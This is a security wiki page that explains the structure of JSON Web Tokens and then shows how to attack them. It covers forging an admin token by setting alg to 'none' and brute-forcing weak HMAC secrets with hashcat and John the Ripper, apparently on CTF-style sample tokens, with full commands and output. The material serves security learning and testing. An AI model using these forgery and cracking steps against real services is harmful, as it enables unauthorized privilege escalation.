JWT

From aldeid
Jump to navigation Jump to search

What is JWT

JSON Web Token (JWT) is a means of representing claims to be transferred between two parties. The claims in a JWT are encoded as a JSON object that is digitally signed using JSON Web Signature (JWS) and/or encrypted using JSON Web Encryption (JWE).

JWTs can be used in any context, but are often used in a header like this:

Authorization: Bearer eyJ0eXAiOiJKV1QiLCJh...

JSON structure

JWT can be broken down into 3 parts:

  • header (base64 encoded)
  • payload (base64 encoded)
  • signature

Example:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
└──────────────────────────────────┘ └────────────────────────────────────────────────────────────────────────┘ └─────────────────────────────────────────┘
              header                                                payload                                                       signature
          {                                                      {                                                         HMACSHA256(
            "alg": "HS256",                                        "sub": "1234567890",                                      base64UrlEncode(header) + "." +
            "typ": "JWT"                                           "name": "John Doe",                                       base64UrlEncode(payload),
          }                                                        "iat": 1516239022                                         ***your-256-bit-secret***
                                                                 }                                                         )

Hack JWT

Set alg to "none"

Some servers are not verifying the algorithm. Replacing it with "none" can be a way to bypass the protection and elevate privileges.

section value decoded
header eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 { "alg": "HS256", "typ": "JWT" }
payload eyJ1c2VybmFtZSI6Imd1ZXN0In0 { "username": "guest" }
signature jhdSw-nklGeRcdsjRdac15bbnucL69z0gcIzBo_dcIE

If the server is vulnerable to this attack, you should be able to use the following token:

section value decoded
header eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0K { "alg": "none", "typ": "JWT" }
payload eyJ1c2VybmFtZSI6ImFkbWluIn0 { "username": "admin" }
signature (Leave it empty)

Weak secret

Hashcat

If the secret key is weak, it is possible to bruteforce it with hashcat. Let's take the following token:

section value decoded
header eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9 {"alg":"HS512","typ":"JWT"}
payload eyJyb2xlIjoiZ3Vlc3QifQ {"role":"guest"}
signature 5QmfMsFX6yQqwl7uceDo0KT5jY35vpZtRXWHrRZjumjnb_L_HUG6vRqrx91xE5gWrClV5b-SKoMq5_hnuXltcw

If we want to take the "admin" role instead of "guest", we need to know the secret key to be able to forge a new token. Let's try:

$ hashcat --force -a 3 -m 16500 -i --increment-min=1 --increment-max=10 eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiZ3Vlc3QifQ.5QmfMsFX6yQqwl7uceDo0KT5jY35vpZtRXWHrRZjumjnb_L_HUG6vRqrx91xE5gWrClV5b-SKoMq5_hnuXltcw
[...EDITED...]

eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiZ3Vlc3QifQ.5QmfMsFX6yQqwl7uceDo0KT5jY35vpZtRXWHrRZjumjnb_L_HUG6vRqrx91xE5gWrClV5b-SKoMq5_hnuXltcw:maze
                                                 
Session..........: hashcat
Status...........: Cracked
Hash.Type........: JWT (JSON Web Token)
Hash.Target......: eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiZ3...uXltcw
Time.Started.....: Sun Feb 16 17:34:21 2020 (0 secs)
Time.Estimated...: Sun Feb 16 17:34:21 2020 (0 secs)
Guess.Mask.......: ?1?2?2?2 [4]
Guess.Charset....: -1 ?l?d?u, -2 ?l?d, -3 ?l?d*!$@_, -4 Undefined 
Guess.Queue......: 4/10 (40.00%)
Speed.#1.........:  2545.5 kH/s (12.25ms) @ Accel:128 Loops:31 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 222208/2892672 (7.68%)
Rejected.........: 0/222208 (0.00%)
Restore.Point....: 3072/46656 (6.58%)
Restore.Sub.#1...: Salt:0 Amplifier:0-31 Iteration:0-31
Candidates.#1....: s9di -> 7bbi

Started: Sun Feb 16 17:34:15 2020
Stopped: Sun Feb 16 17:34:22 2020

Now, we can go to https://jwt.io/ and forge our own token:

John the Ripper

You can also bruteforce the key with John-The-Ripper:

$ cat jwt.txt 
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MTMzNywidXNlcm5hbWUiOiJhZG1pbiIsImhpbnQiOiJ0aGUgZmxhZyBpcyBGTEFHe3h4eHh4eHhfZDFjdDEwbjRyeV80dHQ0Y2t9IHdoZXJlIHh4eHh4eHggaXMgdGhlIHBhc3N3b3JkIHVzZWQgdG8gc2lnbiB0aGlzIHRva2VuIn0.dWwXygXbxXud7WVBBVNwBZwUXjsxUhwMmN8rFnRyVgE
$ ./john jwt.txt --wordlist=rockyou.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 256/256 AVX2 8x])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
rockyou          (?)
1g 0:00:00:00 DONE (2020-05-22 12:56) 33.33g/s 546133p/s 546133c/s 546133C/s 123456..christal
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Useful resources

jwt.io
Read and build tokens
jwt_tool
A toolkit for testing, tweaking and cracking JSON Web Tokens